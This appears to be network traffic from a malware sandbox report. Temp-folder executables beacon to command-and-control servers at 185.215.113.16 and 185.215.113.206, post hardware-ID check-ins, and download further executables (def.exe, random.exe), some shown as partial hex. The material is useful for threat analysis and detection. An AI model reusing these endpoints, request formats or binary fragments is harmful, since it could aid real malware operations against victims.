Nov 1, 2024 12:34:17.174247980 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:17.452997923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49983	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:17.573976040 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:18.507463932 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:18.510309935 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:18.798800945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49985	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:18.917663097 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:19.836199045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:19.837033033 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:20.127094984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49987	185.215.113.206	80	5256	C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:21.260166883 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 12:34:22.495374918 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 12:34:22.498434067 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 34 34 38 41 34 31 35 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="hwid"A3F448A415BB883884179------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build"tale------EHCGIJDHDGDBGDGCGCFH--
Nov 1, 2024 12:34:22.780576944 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49988	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:21.260382891 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:22.495387077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:22.495409966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:22.496376991 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:22.779793978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49989	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:23.115336895 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:24.021116972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:24.022068977 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:24.304111958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49991	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:24.863204956 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:25.412184000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:25.417139053 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:25.706204891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49993	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:25.824326038 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:26.725138903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:26.737660885 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:27.020211935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49994	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:27.510736942 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:28.459949970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:28.460921049 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:28.747471094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49996	185.215.113.16	80	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:28.703902960 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 12:34:29.636420012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:29 GMT Content-Type: application/octet-stream Content-Length: 2797568 Last-Modified: Fri, 01 Nov 2024 11:31:00 GMT Connection: keep-alive ETag: "6724bbf4-2ab000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 4b 2e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+K.+`Ui` @ @.rsrc`2@.idata 8@ziejvuqc`P:@vpkhfhix +@.taggant@ +"@
Nov 1, 2024 12:34:29.636461973 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:29.636466980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:29.636569023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:29.636574984 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:29.636580944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:29.636642933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:29.636648893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:29.636662006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:29.636682034 CET	848	IN	Data Raw: 8c ed 2f 5d 21 6f 0d 97 31 94 1f 5e 56 99 12 4e 87 65 eb cb b0 77 db 7e 65 94 8b 35 c8 52 1a 8e 41 b8 f2 fb 61 83 bc 3f 92 66 3b 9f 3a 85 17 33 78 d9 33 de 2b 46 02 61 c9 53 b4 bb 33 2d 63 6e 13 51 b5 23 b8 ba 8c e5 c3 72 ee 95 9e d3 d1 fb 26 83 Data Ascii: /]!o1^VNew~e5RAa?f;:3x3+FaS3-cnQ#r&{.)s^"m!8!OHqA9<[c<@7"gkKI@1XP!5raQ_2n>-Un9`Iw9euX0r{jIUT
Nov 1, 2024 12:34:29.641540051 CET	1236	IN	Data Raw: b7 07 37 39 22 3a a9 97 7e d5 af 85 fa 3a a6 9a 6a ac 8d 9c 48 52 b1 f5 b9 d8 05 02 30 3f 74 55 1e 79 df 13 1e 3a 2d 0e 1e a7 07 06 dd 3a c3 95 ad df f0 3b b8 3a cf 45 e0 3a d3 79 c7 2f 58 65 1d 77 cd ec 66 6f c9 61 94 84 eb 7c 56 d2 f3 55 40 97 Data Ascii: 79":~:jHR0?tUy:-:;:E:y/Xewfoa\|VU@^foYDE@:`f-l)"hw+vc@^fCK9tS_3:[N~-61.$6foY#rlNc<_JG;n+o8Cssvnvl^OS:
Nov 1, 2024 12:34:32.992966890 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 12:34:33.276477098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:33 GMT Content-Type: application/octet-stream Content-Length: 1884672 Last-Modified: Fri, 01 Nov 2024 10:54:05 GMT Connection: keep-alive ETag: "6724b34d-1cc200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 